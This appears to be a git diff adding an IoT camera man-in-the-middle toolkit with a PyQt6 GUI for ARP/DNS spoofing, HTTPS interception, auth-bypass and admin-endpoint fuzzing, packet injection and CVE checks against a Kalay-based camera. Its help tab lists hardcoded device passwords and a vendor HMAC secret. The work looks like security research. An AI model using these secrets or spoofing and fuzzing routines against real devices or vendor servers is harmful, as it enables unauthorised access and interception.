raw_request(cfg, endpoint, data=None): + if not cfg["api_token"]: + log("API: login first", C_ERROR) + return None + log(f"API: POST {endpoint}", C_INFO) + result = api_post(cfg["api_base"], endpoint, data or {}, cfg["api_token"]) + log(f"API: {json.dumps(result, indent=2)[:800]}", C_TRAFFIC) + return result + + +def families(cfg): + return raw_request(cfg, "user/families") + + +def device_list_v2(cfg): + return raw_request(cfg, "v2/user/device_list") diff --git a/build_tutk.sh b/build_tutk.sh new file mode 100755 index 0000000..008eafc --- /dev/null +++ b/build_tutk.sh @@ -0,0 +1,54 @@ +#!/bin/bash +# Build TUTK IOTC shared library from static libs +cd "$(dirname "$0")" + +OUTPUT="lib/libIOTCAPIs_ALL.so" + +# Try each compatible ARM lib directory until one works +LIBDIRS=( + "Arm11_CLFSX_4.4.1" + "Armv7a_Hi8107_4.4.6" + "Arm11_BCM2835_4.5.1" + "Arm9_EPN7530X_4.5.2" + "Arm9_trident_4.5.2" + "Arm_IMAPx15_4.7.3" + "Arm_X41_4.8.2" +) + +BASE="lib/tutk/TUTK_IOTC_Platform_14W36/Lib/Linux" + +for dir in "${LIBDIRS[@]}"; do + LIBDIR="$BASE/$dir" + if [ ! -f "$LIBDIR/libIOTCAPIs.a" ]; then + continue + fi + echo "Trying $dir..." + arm-linux-gnueabihf-gcc -shared -fpic -Wl,--whole-archive "$LIBDIR/libIOTCAPIs.a" "$LIBDIR/libAVAPIs.a" "$LIBDIR/libRDTAPIs.a" -Wl,--no-whole-archive -lpthread -o "$OUTPUT" 2>/dev/null + if [ $? -eq 0 ]; then + echo "Success with $dir!" + break + fi + echo " Failed, trying next..." +done + +# If all hard-float attempts fail, try with arm-linux-gnueabi (soft-float) toolchain +if [ ! -f "$OUTPUT" ]; then + echo "" + echo "All hard-float attempts failed." + echo "Install soft-float toolchain: sudo apt install gcc-arm-linux-gnueabi -y" + echo "Then re-run this script." + + if command -v arm-linux-gnueabi-gcc &>/dev/null; then + LIBDIR="$BASE/Arm11_BCM2835_4.8.3" + echo "Trying soft-float toolchain with $LIBDIR..." + arm-linux-gnueabi-gcc -shared -fpic -Wl,--whole-archive "$LIBDIR/libIOTCAPIs.a" "$LIBDIR/libAVAPIs.a" "$LIBDIR/libRDTAPIs.a" -Wl,--no-whole-archive -lpthread -o "$OUTPUT" + fi +fi + +if [ $? -eq 0 ]; then + echo "Success: $(file $OUTPUT)" + echo "Size: $(ls -lh $OUTPUT | awk '{print $5}')" +else + echo "Build failed" + exit 1 +fi diff --git a/config.py b/config.py new file mode 100644 index 0000000..32ed675 --- /dev/null +++ b/config.py @@ -0,0 +1,74 @@ +"""Configuration management""" + +import json +import os + +DEFAULT_CONFIG = { + "camera_ip": "192.168.1.187", + "camera_mac": "14:92:f9:3e:58:0a", + "our_ip": "192.168.1.172", + "router_ip": "192.168.1.1", + "iface": "enP4p65s0", + "log_dir": os.path.expanduser("~/dumps/mitm_logs"), + "api_base": "https://portal.ubianet.com/api", + "api_email": "", + "api_password": "", + "api_token": "", + "device_uid": "", + "device_cam_user": "", + "device_cam_pwd": "", + "rest_port": 9090, + "fuzzer_threads": 5, + "fuzzer_delay": 0.2, +} + +CONFIG_FILE = os.path.expanduser("~/setec_suite/cam-mitm/config.json") + + +class Config: + def __init__(self): + self._data = dict(DEFAULT_CONFIG) + self.load() + + def __getitem__(self, key): + return self._data[key] + + def __setitem__(self, key, value): + self._data[key] = value + + def get(self, key, default=None): + return self._data.get(key, default) + + def keys(self): + return self._data.keys() + + def items(self): + return self._data.items() + + def update(self, d): + self._data.update(d) + + def load(self): + if os.path.exists(CONFIG_FILE): + try: + with open(CONFIG_FILE) as f: + self._data.update(json.load(f)) + except: + pass + + def save(self): + os.makedirs(os.path.dirname(CONFIG_FILE), exist_ok=True) + with open(CONFIG_FILE, "w") as f: + json.dump(self._data, f, indent=2) + + def to_dict(self): + return dict(self._data) + + def safe_dict(self): + """Config dict with sensitive values masked""" + d = dict(self._data) + if d.get("api_password"): + d["api_password"] = "***" + if d.get("api_token"): + d["api_token"] = d["api_token"][:20] + "..." + return d diff --git a/gui.py b/gui.py new file mode 100755 index 0000000..a06b2fa --- /dev/null +++ b/gui.py @@ -0,0 +1,813 @@ +#!/usr/bin/python3 +""" +SetecSuite — Camera MITM Tool (PyQt6 GUI) +Usage: sudo /usr/bin/python3 gui.py +""" + +import os +import sys +import json +import threading +import signal + +sys.path.insert(0, os.path.dirname(os.path.abspath(__file__))) + +from PyQt6.QtCore import Qt, QTimer, pyqtSignal, QObject +from PyQt6.QtGui import QFont, QTextCursor, QColor, QPalette, QAction +from PyQt6.QtWidgets import ( + QApplication, QMainWindow, QWidget, QTabWidget, QVBoxLayout, QHBoxLayout, + QPushButton, QPlainTextEdit, QLabel, QLineEdit, QTableWidget, + QTableWidgetItem, QHeaderView, QFormLayout, QGroupBox, QComboBox, + QStatusBar, QMessageBox, QSplitter, QTextEdit, QAbstractItemView, + QCheckBox, +) + +from config import Config +from utils.log import ( + log, log_lines, init_logfile, close_logfile, lock, + C_NONE, C_ERROR, C_SUCCESS, C_INFO, C_TRAFFIC, C_IMPORTANT, +) +from services import arp_spoof, dns_spoof, http_server, udp_listener, sniffer, intruder_watch +from utils import proto as proto_id +from api import ubox_client, server as rest_server, fuzzer, firmware_fetch, cve_checks, ota_bucket_probe +from api.fuzzer import KNOWN_ENDPOINTS +from inject import packet +from mitm import Controller + + +# ─── Color map (Qt) ────────────────────────────────────────────── +QT_COLORS = { + C_NONE: QColor("#cccccc"), + C_ERROR: QColor("#ff5555"), + C_SUCCESS: QColor("#50fa7b"), + C_INFO: QColor("#8be9fd"), + C_TRAFFIC: QColor("#f1fa8c"), + C_IMPORTANT: QColor("#ff79c6"), +} + + +# ─── Bridge: log_lines deque -> Qt signal ──────────────────────── +class LogBridge(QObject): + new_lines = pyqtSignal(list) # list of (line, color) + + +class CloudBridge(QObject): + response = pyqtSignal(str, object) # label, payload + + +class CveBridge(QObject): + result = pyqtSignal(str, object) # cve_id, result dict + + +# ─── Main Window ───────────────────────────────────────────────── +class MainWindow(QMainWindow): + def __init__(self, ctrl): + super().__init__() + self.ctrl = ctrl + self.setWindowTitle("SetecSuite — Camera MITM") + self.resize(1400, 900) + self._apply_dark_theme() + + self.bridge = LogBridge() + self.bridge.new_lines.connect(self._append_log) + self._last_log_idx = 0 + + self.cloud_bridge = CloudBridge() + self.cloud_bridge.response.connect(self._cloud_set_response) + self.cloud_response_signal = self.cloud_bridge.response + + self.cve_bridge = CveBridge() + self.cve_bridge.result.connect(self._cve_set_status) + self.cve_signal = self.cve_bridge.result + + self.tabs = QTabWidget() + self.tabs.addTab(self._build_dashboard(), "Dashboard") + self.tabs.addTab(self._build_log_tab(), "Live Log") + self.tabs.addTab(self._build_intruder_tab(), "Intruders") + self.tabs.addTab(self._build_cloud_tab(), "Cloud API") + self.tabs.addTab(self._build_fuzzer_tab(), "Fuzzer") + self.tabs.addTab(self._build_inject_tab(), "Inject") + self.tabs.addTab(self._build_cve_tab(), "CVEs") + self.tabs.addTab(self._build_config_tab(), "Config") + self.tabs.addTab(self._build_help_tab(), "Help") + self.setCentralWidget(self.tabs) + + self.status = QStatusBar() + self.setStatusBar(self.status) + + # Periodic UI refresh + self.refresh_timer = QTimer(self) + self.refresh_timer.timeout.connect(self._tick) + self.refresh_timer.start(300) + + # Start REST API + threading.Thread( + target=rest_server.start_server, + args=(self.ctrl, self.ctrl.cfg["rest_port"]), + daemon=True, + ).start() + + log("SetecSuite GUI ready", C_SUCCESS) + log(f"Target: {ctrl.cfg['camera_ip']} Us: {ctrl.cfg['our_ip']} Router: {ctrl.cfg['router_ip']}", C_INFO) + + # ── Theme ──────────────────────────────────────────────────── + def _apply_dark_theme(self): + self.setStyleSheet(""" + QWidget { background: #1e1f29; color: #f8f8f2; font-family: 'JetBrains Mono','Fira Code',monospace; font-size: 11pt; } + QTabWidget::pane { border: 1px solid #44475a; } + QTabBar::tab { background: #282a36; padding: 8px 16px; border: 1px solid #44475a; } + QTabBar::tab:selected { background: #44475a; color: #50fa7b; } + QPushButton { background: #44475a; border: 1px solid #6272a4; padding: 6px 14px; border-radius: 3px; } + QPushButton:hover { background: #6272a4; } + QPushButton:pressed { background: #50fa7b; color: #282a36; } + QPlainTextEdit, QTextEdit, QLineEdit { background: #282a36; border: 1px solid #44475a; selection-background-color: #44475a; } + QHeaderView::section { background: #44475a; color: #f8f8f2; padding: 4px; border: none; } + QTableWidget { background: #282a36; gridline-color: #44475a; } + QTableWidget::item:selected { background: #44475a; } + QGroupBox { border: 1px solid #44475a; margin-top: 10px; padding-top: 10px; } + QGroupBox::title { subcontrol-origin: margin; left: 10px; padding: 0 5px; color: #8be9fd; } + QStatusBar { background: #282a36; color: #50fa7b; } + QLabel#bigState { font-size: 18pt; font-weight: bold; } + QLabel.flag_on { color: #50fa7b; font-weight: bold; } + QLabel.flag_off { color: #ff5555; } + """) + + # ── Dashboard tab ──────────────────────────────────────────── + def _build_dashboard(self): + w = QWidget() + layout = QVBoxLayout(w) + + ctrl_box = QGroupBox("MITM Control") + cl = QHBoxLayout(ctrl_box) + self.btn_start = QPushButton("▶ START MITM") + self.btn_stop = QPushButton("⏹ STOP") + self.btn_clear = QPushButton("Clear Log") + self.btn_start.clicked.connect(lambda: threading.Thread(target=self.ctrl.start_services, daemon=True).start()) + self.btn_stop.clicked.connect(lambda: threading.Thread(target=self.ctrl.stop_services, daemon=True).start()) + self.btn_clear.clicked.connect(self._clear_log) + cl.addWidget(self.btn_start) + cl.addWidget(self.btn_stop) + cl.addWidget(self.btn_clear) + cl.addStretch() + layout.addWidget(ctrl_box) + + self.state_label = QLabel("MITM: STOPPED") + self.state_label.setObjectName("bigState") + self.state_label.setStyleSheet("color: #ff5555; font-size: 18pt; font-weight: bold; padding: 10px;") + layout.addWidget(self.state_label) + + flags_box = QGroupBox("Services (click to toggle)") + self.flags_layout = QVBoxLayout(flags_box) + self.svc_buttons = {} + for name in ("arp", "dns", "http", "https", "udp10240", "udp20001", "sniffer", "intruder"): + btn = QPushButton(f"● {name}: off") + btn.setStyleSheet("text-align:left; color:#ff5555; padding:6px; background:#282a36;") + btn.clicked.connect(lambda _, n=name: threading.Thread( + target=self.ctrl.toggle_service, args=(n,), daemon=True).start()) + self.svc_buttons[name] = btn + self.flags_layout.addWidget(btn) + layout.addWidget(flags_box) + + proto_box = QGroupBox("Protocols Seen") + self.proto_layout = QVBoxLayout(proto_box) + self.proto_label = QLabel("(none yet)") + self.proto_label.setStyleSheet("color: #f1fa8c; font-family: monospace;") + self.proto_layout.addWidget(self.proto_label) + layout.addWidget(proto_box) + + info_box = QGroupBox("Target") + il = QFormLayout(info_box) + self.lbl_cam = QLabel(self.ctrl.cfg["camera_ip"]) + self.lbl_us = QLabel(self.ctrl.cfg["our_ip"]) + self.lbl_rtr = QLabel(self.ctrl.cfg["router_ip"]) + self.lbl_mac = QLabel(self.ctrl.cfg["camera_mac"]) + for lbl in (self.lbl_cam, self.lbl_us, self.lbl_rtr, self.lbl_mac): + lbl.setStyleSheet("color: #f1fa8c; font-weight: bold;") + il.addRow("Camera IP:", self.lbl_cam) + il.addRow("Our IP:", self.lbl_us) + il.addRow("Router IP:", self.lbl_rtr) + il.addRow("Camera MAC:", self.lbl_mac) + layout.addWidget(info_box) + + layout.addStretch() + return w + + # ── Live log tab ───────────────────────────────────────────── + def _build_log_tab(self): + w = QWidget() + layout = QVBoxLayout(w) + bar = QHBoxLayout() + bar.addWidget(QLabel("Filter:")) + self.log_filter = QLineEdit() + self.log_filter.setPlaceholderText("substring filter (live)…") + bar.addWidget(self.log_filter) + self.autoscroll_cb = QCheckBox("Autoscroll") + self.autoscroll_cb.setChecked(True) + bar.addWidget(self.autoscroll_cb) + btn_clear = QPushButton("Clear") + btn_clear.clicked.connect(self._clear_log) + bar.addWidget(btn_clear) + layout.addLayout(bar) + self.log_view = QTextEdit() + self.log_view.setReadOnly(True) + self.log_view.setLineWrapMode(QTextEdit.LineWrapMode.NoWrap) + f = QFont("JetBrains Mono", 10) + f.setStyleHint(QFont.StyleHint.Monospace) + self.log_view.setFont(f) + layout.addWidget(self.log_view) + return w + + # ── Intruder tab ───────────────────────────────────────────── + def _build_intruder_tab(self): + w = QWidget() + layout = QVBoxLayout(w) + head = QHBoxLayout() + self.intruder_count = QLabel("0 events") + self.intruder_count.setStyleSheet("color: #ff79c6; font-size: 14pt; font-weight: bold;") + head.addWidget(self.intruder_count) + head.addStretch() + btn_clear = QPushButton("Clear") + btn_clear.clicked.connect(lambda: (intruder_watch.clear_intruders(), self._refresh_intruders())) + head.addWidget(btn_clear) + layout.addLayout(head) + + self.intruder_table = QTableWidget(0, 5) + self.intruder_table.setHorizontalHeaderLabels(["Time", "Kind", "Source", "Destination", "Detail"]) + self.intruder_table.horizontalHeader().setSectionResizeMode(QHeaderView.ResizeMode.Stretch) + self.intruder_table.setEditTriggers(QAbstractItemView.EditTrigger.NoEditTriggers) + self.intruder_table.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows) + layout.addWidget(self.intruder_table) + return w + + # ── Cloud API tab ──────────────────────────────────────────── + def _build_cloud_tab(self): + w = QWidget() + layout = QVBoxLayout(w) + + cred_box = QGroupBox("UBox Credentials") + cl = QFormLayout(cred_box) + self.api_email = QLineEdit(self.ctrl.cfg.get("api_email", "")) + self.api_pw = QLineEdit(self.ctrl.cfg.get("api_password", "")) + self.api_pw.setEchoMode(QLineEdit.EchoMode.Password) + cl.addRow("Email:", self.api_email) + cl.addRow("Password:", self.api_pw) + layout.addWidget(cred_box) + + self.cloud_status = QLabel("not logged in") + self.cloud_status.setStyleSheet("color: #ff5555; font-weight: bold; padding: 4px;") + layout.addWidget(self.cloud_status) + + btn_box = QHBoxLayout() + actions = [ + ("Login", self._cloud_login), + ("Devices", lambda: self._cloud_call("devices", ubox_client.devices)), + ("Firmware", lambda: self._cloud_call("firmware", ubox_client.check_firmware)), + ("Services", lambda: self._cloud_call("services", ubox_client.device_services)), + ("Families", lambda: self._cloud_call("families", ubox_client.families)), + ] + for label, fn in actions: + b = QPushButton(label) + b.clicked.connect(fn) + btn_box.addWidget(b) + layout.addLayout(btn_box) + + fw_box = QGroupBox("Firmware Download") + fwl = QHBoxLayout(fw_box) + fwl.addWidget(QLabel("host_version:")) + self.fw_version = QLineEdit() + self.fw_version.setPlaceholderText("blank = auto-try common versions") + fwl.addWidget(self.fw_version) + fw_btn = QPushButton("Download FW") + fw_btn.clicked.connect(lambda: self._cloud_call( + "download_fw", + lambda cfg: firmware_fetch.check_and_download( + cfg, host_version=(self.fw_version.text() or None) + ), + )) + fwl.addWidget(fw_btn) + probe_btn = QPushButton("Probe OTA Bucket") + probe_btn.clicked.connect(lambda: self._cloud_call( + "ota_probe", ota_bucket_probe.probe + )) + fwl.addWidget(probe_btn) + layout.addWidget(fw_box) + + raw_box = QGroupBox("Raw POST") + rl = QHBoxLayout(raw_box) + self.raw_endpoint = QComboBox() + self.raw_endpoint.setEditable(True) + self.raw_endpoint.addItem("") # blank first + for ep in sorted(set(KNOWN_ENDPOINTS)): + self.raw_endpoint.addItem(ep) + self.raw_endpoint.lineEdit().setPlaceholderText( + f"pick one of {len(KNOWN_ENDPOINTS)} known endpoints, or type your own" + ) + self.raw_endpoint.setMinimumWidth(420) + rl.addWidget(self.raw_endpoint, stretch=1) + rb = QPushButton("Send") + rb.clicked.connect(lambda: self._cloud_call( + f"raw {self.raw_endpoint.currentText()}", + lambda cfg: ubox_client.raw_request(cfg, self.raw_endpoint.currentText()) + )) + rl.addWidget(rb) + oam_btn = QPushButton("OAM Send") + oam_btn.setToolTip("Sign with OAM HMAC secret and post to oam.ubianet.com") + oam_btn.clicked.connect(lambda: self._cloud_call( + f"oam {self.raw_endpoint.currentText()}", + lambda cfg: ubox_client.oam_post(self.raw_endpoint.currentText(), {}) + )) + rl.addWidget(oam_btn) + oam_fuzz_btn = QPushButton("OAM Fuzz") + oam_fuzz_btn.setToolTip("Probe ~50 candidate OAM admin endpoints") + oam_fuzz_btn.clicked.connect(lambda: self._cloud_call( + "oam_fuzz", + lambda cfg: ubox_client.oam_fuzz(ubox_client.OAM_ENDPOINT_GUESSES) + )) + rl.addWidget(oam_fuzz_btn) + layout.addWidget(raw_box) + + resp_box = QGroupBox("Response") + rvl = QVBoxLayout(resp_box) + self.cloud_response = QPlainTextEdit() + self.cloud_response.setReadOnly(True) + f = QFont("JetBrains Mono", 10) + f.setStyleHint(QFont.StyleHint.Monospace) + self.cloud_response.setFont(f) + self.cloud_response.setPlaceholderText("API responses will appear here") + rvl.addWidget(self.cloud_response) + layout.addWidget(resp_box, stretch=1) + + return w + + def _cloud_set_response(self, label, obj): + try: + text = json.dumps(obj, indent=2, ensure_ascii=False) + except Exception: + text = repr(obj) + self.cloud_response.setPlainText(f"=== {label} ===\n{text}") + + def _cloud_call(self, label, fn): + def run(): + try: + result = fn(self.ctrl.cfg) + if label == "devices" and isinstance(result, list): + self.ctrl._devices = result + self.cloud_response_signal.emit(label, result if result is not None else {"result": None}) + except Exception as e: + self.cloud_response_signal.emit(label, {"exception": str(e)}) + threading.Thread(target=run, daemon=True).start() + + def _cloud_login(self): + self.ctrl.cfg["api_email"] = self.api_email.text() + self.ctrl.cfg["api_password"] = self.api_pw.text() + self.ctrl.cfg.save() + def run(): + ok = ubox_client.login(self.ctrl.cfg) + payload = { + "logged_in": bool(ok), + "token": self.ctrl.cfg.get("api_token", ""), + "email": self.ctrl.cfg.get("api_email", ""), + } + self.cloud_response_signal.emit("login", payload) + threading.Thread(target=run, daemon=True).start() + + # ── Fuzzer tab ─────────────────────────────────────────────── + def _build_fuzzer_tab(self): + w = QWidget() + layout = QVBoxLayout(w) + bb = QHBoxLayout() + b1 = QPushButton("Fuzz Endpoints") + b1.clicked.connect(lambda: threading.Thread(target=self.ctrl.run_fuzz_endpoints, daemon=True).start()) + bb.addWidget(b1) + b2 = QPushButton("Fuzz Auth") + b2.clicked.connect(lambda: threading.Thread(target=self.ctrl.run_fuzz_auth, daemon=True).start()) + bb.addWidget(b2) + bb.addStretch() + layout.addLayout(bb) + + param_box = QGroupBox("Param Fuzz") + pl = QHBoxLayout(param_box) + self.fuzz_ep = QLineEdit() + self.fuzz_ep.setPlaceholderText("endpoint name") + pl.addWidget(self.fuzz_ep) + b3 = QPushButton("Run") + b3.clicked.connect(lambda: threading.Thread( + target=self.ctrl.run_fuzz_params, args=(self.fuzz_ep.text(),), daemon=True + ).start()) + pl.addWidget(b3) + layout.addWidget(param_box) + + self.fuzz_status = QLabel("Idle") + layout.addWidget(self.fuzz_status) + + b4 = QPushButton("Stop fuzzer") + b4.clicked.connect(lambda: (self.ctrl.fuzzer and self.ctrl.fuzzer.stop())) + layout.addWidget(b4) + layout.addStretch() + return w + + # ── Inject tab ─────────────────────────────────────────────── + def _build_inject_tab(self): + w = QWidget() + layout = QVBoxLayout(w) + + udp_box = QGroupBox("UDP Inject") + ul = QFormLayout(udp_box) + self.udp_ip = QLineEdit(self.ctrl.cfg["camera_ip"]) + self.udp_port = QLineEdit("10240") + self.udp_payload = QLineEdit() + self.udp_payload.setPlaceholderText("hex payload, e.g. deadbeef") + ul.addRow("Dst IP:", self.udp_ip) + ul.addRow("Dst port:", self.udp_port) + ul.addRow("Payload:", self.udp_payload) + b = QPushButton("Send UDP") + b.clicked.connect(self._send_udp) + ul.addRow("", b) + layout.addWidget(udp_box) + + arp_box = QGroupBox("ARP Reply") + al = QFormLayout(arp_box) + self.arp_src = QLineEdit(self.ctrl.cfg["router_ip"]) + self.arp_dst = QLineEdit(self.ctrl.cfg["camera_ip"]) + al.addRow("Src IP (spoof):", self.arp_src) + al.addRow("Dst IP:", self.arp_dst) + b2 = QPushButton("Send ARP") + b2.clicked.connect(lambda: packet.inject(self.ctrl.cfg, { + "type": "arp_reply", "src_ip": self.arp_src.text(), "dst_ip": self.arp_dst.text() + })) + al.addRow("", b2) + layout.addWidget(arp_box) + + layout.addStretch() + return w + + def _send_udp(self): + try: + packet.inject(self.ctrl.cfg, { + "type": "udp", + "dst_ip": self.udp_ip.text(), + "dst_port": int(self.udp_port.text()), + "payload": self.udp_payload.text(), + "payload_hex": True, + }) + except Exception as e: + QMessageBox.warning(self, "Inject error", str(e)) + + # ── Config tab ─────────────────────────────────────────────── + def _build_config_tab(self): + w = QWidget() + layout = QFormLayout(w) + self.cfg_inputs = {} + for k, v in self.ctrl.cfg.items(): + if "password" in k or "token" in k: + continue + le = QLineEdit(str(v)) + self.cfg_inputs[k] = le + layout.addRow(k, le) + b = QPushButton("Save Config") + b.clicked.connect(self._save_config) + layout.addRow("", b) + return w + + # ── CVE tab ────────────────────────────────────────────────── + def _build_cve_tab(self): + w = QWidget() + layout = QVBoxLayout(w) + + head = QHBoxLayout() + title = QLabel("CVE verification — original probes, non-destructive") + title.setStyleSheet("color:#ff79c6; font-size:13pt; font-weight:bold;") + head.addWidget(title) + head.addStretch() + b_run = QPushButton("▶ Run All Verifications") + b_run.clicked.connect(self._cve_run_all) + head.addWidget(b_run) + b_rep = QPushButton("📝 Generate Report") + b_rep.clicked.connect(self._cve_generate_report) + head.addWidget(b_rep) + layout.addLayout(head) + + # Card per CVE + self.cve_cards = {} + cve_specs = [ + ("CVE-2025-12636", + "Ubia Ubox cloud API leaks IOTC device credentials in plaintext", + "The cloud `user/device_list` endpoint returns `cam_user` / `cam_pwd` " + "in plaintext to any authenticated owner. These are the IOTC P2P " + "device-auth credentials and grant full local control. Verifier calls " + "the endpoint and inspects the response.", + cve_checks.verify_cve_2025_12636), + ("CVE-2021-28372", + "ThroughTek Kalay P2P UID-based session hijack (UBIC rebrand)", + "Kalay master server identifies devices by UID alone. An attacker " + "knowing the UID can register the same UID against the master and " + "intercept the next legitimate client login. We verify preconditions " + "(UID format + camera P2P stack alive) without performing the spoof " + "registration.", + cve_checks.verify_cve_2021_28372), + ("CVE-2023-6322 / 6323 / 6324", + "ThroughTek Kalay LAN-side memory corruption + auth bypass chain", + "Three flaws in the Kalay LAN protocol parser: an auth bypass, a " + "heap overflow, and a stack overflow. Verifier sends only safe small " + "probes — no overflow payloads — and reports based on stack " + "fingerprint and pre/post liveness.", + cve_checks.verify_cve_2023_6322_chain), + ] + for cve_id, title_txt, desc, verifier in cve_specs: + card = QGroupBox(cve_id) + cl = QVBoxLayout(card) + t = QLabel(f"{title_txt}") + t.setWordWrap(True) + t.setStyleSheet("color:#8be9fd;") + cl.addWidget(t) + d = QLabel(desc) + d.setWordWrap(True) + d.setStyleSheet("color:#cccccc; padding:4px;") + cl.addWidget(d) + row = QHBoxLayout() + status = QLabel("● not run") + status.setStyleSheet("color:#888888; font-weight:bold;") + row.addWidget(status) + row.addStretch() + btn = QPushButton("Verify") + btn.clicked.connect(lambda _, v=verifier, cid=cve_id: self._cve_run_one(cid, v)) + row.addWidget(btn) + cl.addLayout(row) + evidence = QPlainTextEdit() + evidence.setReadOnly(True) + evidence.setMaximumHeight(120) + evidence.setPlaceholderText("evidence + raw artifacts will appear here") + cl.addWidget(evidence) + self.cve_cards[cve_id] = { + "status": status, + "evidence": evidence, + "result": None, + } + layout.addWidget(card) + + layout.addStretch() + return w + + def _cve_set_status(self, cve_id, result): + card = self.cve_cards.get(cve_id) + if not card: + return + card["result"] = result + s = result.get("status", "?") + color = {"VULN": "#ff5555", "NOT_VULN": "#50fa7b", + "UNKNOWN": "#f1fa8c", "ERROR": "#ff79c6"}.get(s, "#cccccc") + card["status"].setText(f"● {s}") + card["status"].setStyleSheet(f"color:{color}; font-weight:bold;") + text = result.get("evidence", "") + "\n\n" + json.dumps(result.get("details", {}), indent=2, ensure_ascii=False) + card["evidence"].setPlainText(text) + + def _cve_run_one(self, cve_id, verifier): + def run(): + try: + r = verifier(self.ctrl.cfg) + except Exception as e: + r = {"cve": cve_id, "status": "ERROR", + "title": "exception", "evidence": str(e), "details": {}} + self.cve_signal.emit(cve_id, r) + threading.Thread(target=run, daemon=True).start() + + def _cve_run_all(self): + def run(): + for cve_id, fn in [ + ("CVE-2025-12636", cve_checks.verify_cve_2025_12636), + ("CVE-2021-28372", cve_checks.verify_cve_2021_28372), + ("CVE-2023-6322 / 6323 / 6324", cve_checks.verify_cve_2023_6322_chain), + ]: + try: + r = fn(self.ctrl.cfg) + except Exception as e: + r = {"cve": cve_id, "status": "ERROR", + "title": "exception", "evidence": str(e), "details": {}} + self.cve_signal.emit(cve_id, r) + threading.Thread(target=run, daemon=True).start() + + def _cve_generate_report(self): + results = [] + for cve_id, card in self.cve_cards.items(): + if card["result"]: + results.append(card["result"]) + if not results: + QMessageBox.information(self, "Report", "Run at least one verification first.") + return + try: + path = cve_checks.build_report(self.ctrl.cfg, results) + QMessageBox.information(self, "Report written", f"Saved to:\n{path}") + except Exception as e: + QMessageBox.warning(self, "Report failed", str(e)) + + # ── Help tab ───────────────────────────────────────────────── + def _build_help_tab(self): + w = QWidget() + layout = QVBoxLayout(w) + view = QTextEdit() + view.setReadOnly(True) + view.setHtml(""" +

SetecSuite — Camera MITM

+

Target: Javiscam/UBox cam (TUTK Kalay) at the IP shown in the Dashboard.

+ +

Tabs

+
    +
  • Dashboard — START/STOP MITM, click any service row to toggle individually, watch protocol counts and target info.
  • +
  • Live Log — every log line, color-coded. Filter by substring. Toggle Autoscroll if you want to read history while traffic flows.
  • +
  • Intruders — table of detected suspicious activity (ARP spoofs, unknown LAN peers, unexpected outbound dests).
  • +
  • Cloud API — UBox portal: Login, Devices, Firmware, Services, Families, Raw POST. Firmware Download tries multiple host_versions to trick the cloud into returning an OTA URL.
  • +
  • Fuzzer — endpoint discovery (~146 known + ~600 wordlist), parameter mutation, auth bypass.
  • +
  • Inject — craft and send raw UDP, ARP, or DNS packets.
  • +
  • Config — edit any config key, save to disk.
  • +
+ +

Services (Dashboard buttons)

+
    +
  • arp — ARP spoof: tell camera we are the gateway, tell gateway we are the camera.
  • +
  • dns — DNS spoof: redirect cloud lookups to us.
  • +
  • http / https — Intercept ports 80/443. HTTPS uses our regen'd cert with SAN list for ubianet, aliyuncs, myqcloud.
  • +
  • udp10240 — IOTC P2P relay port (Tencent/Alibaba clouds use this).
  • +
  • udp20001 — Push notification service.
  • +
  • sniffer — Raw packet sniffer; logs cam:src → us:dst with conntrack-extracted original destination + protocol fingerprint.
  • +
  • intruder — Detects: ARP spoofs against the camera, unknown LAN hosts contacting it, unexpected outbound destinations not in known cloud whitelist.
  • +
+ +

Workflow: get firmware

+
    +
  1. Cloud API → fill creds → Login
  2. +
  3. Devices (populates device_uid)
  4. +
  5. Download FW (auto-tries 6 versions, or type one in the field)
  6. +
  7. If empty: start MITM, power-cycle camera, watch Live Log for the camera's own check_version request
  8. +
+ +

REST API

+

Always running on http://127.0.0.1:9090. Endpoints: /status, /logs, /devices, /config, /fuzz/results, /start, /stop, /command, /api, /fuzz/endpoints, /fuzz/params, /fuzz/auth, /inject

+ +

Files

+
    +
  • Config: ~/setec_suite/cam-mitm/config.json
  • +
  • Logs: /root/dumps/mitm_logs/mitm.log (rotates at 1 GiB)
  • +
  • Captures: /root/dumps/mitm_logs/raw_*.bin
  • +
  • SSL cert: regen with sudo /home/snake/setec_suite/cam-mitm/regen_cert.sh
  • +
+ +

Known credentials (from APK)

+
    +
  • Camera local: admin / yyc1G::HPEv7om3O
  • +
  • Camera local alt: admin / iotCam31
  • +
  • Box-mode: admin / admin
  • +
  • OAM HMAC secret: 2894df25f8f740dff5266bc155c662ca
  • +
+ +

Run

+

sudo /usr/bin/python3 /home/snake/setec_suite/cam-mitm/gui.py

+

(Custom Python 3.14 build at /usr/local/bin lacks _curses and PyQt6 — must use the system /usr/bin/python3)

+ """) + layout.addWidget(view) + return w + + def _save_config(self): + for k, le in self.cfg_inputs.items(): + old = self.ctrl.cfg[k] + v = le.text() + try: + if isinstance(old, int): + v = int(v) + elif isinstance(old, float): + v = float(v) + except ValueError: + pass + self.ctrl.cfg[k] = v + self.ctrl.cfg.save() + log("Config saved from GUI", C_SUCCESS) + + # ── Periodic refresh ───────────────────────────────────────── + def _tick(self): + # New log lines + with lock: + total = len(log_lines) + if total < self._last_log_idx: + self._last_log_idx = 0 # deque rolled + new = list(log_lines)[self._last_log_idx:] + self._last_log_idx = total + if new: + self.bridge.new_lines.emit(new) + + # State + if self.ctrl.services_running: + self.state_label.setText("MITM: RUNNING") + self.state_label.setStyleSheet("color: #50fa7b; font-size: 18pt; font-weight: bold; padding: 10px;") + else: + self.state_label.setText("MITM: STOPPED") + self.state_label.setStyleSheet("color: #ff5555; font-size: 18pt; font-weight: bold; padding: 10px;") + + for name, btn in self.svc_buttons.items(): + on = self.ctrl.flags.get(name, False) + btn.setText(f"● {name}: {'ON' if on else 'off'}") + color = "#50fa7b" if on else "#ff5555" + btn.setStyleSheet(f"text-align:left; color:{color}; padding:6px; background:#282a36;") + + # Protocols seen + counts = proto_id.seen_counts() + if counts: + txt = " ".join(f"{k}={v}" for k, v in sorted(counts.items(), key=lambda x: -x[1])) + self.proto_label.setText(txt) + + # Intruders + self._refresh_intruders() + + # Cloud status + if self.ctrl.cfg.get("api_token"): + tok = self.ctrl.cfg["api_token"][:16] + self.cloud_status.setText(f"logged in as {self.ctrl.cfg.get('api_email','?')} token={tok}…") + self.cloud_status.setStyleSheet("color: #50fa7b; font-weight: bold; padding: 4px;") + else: + self.cloud_status.setText("not logged in") + self.cloud_status.setStyleSheet("color: #ff5555; font-weight: bold; padding: 4px;") + + # Status bar + n_devs = len(self.ctrl._devices) if self.ctrl._devices else 0 + self.status.showMessage( + f"REST :{self.ctrl.cfg['rest_port']} | Devices: {n_devs} | " + f"Token: {'yes' if self.ctrl.cfg['api_token'] else 'no'} | " + 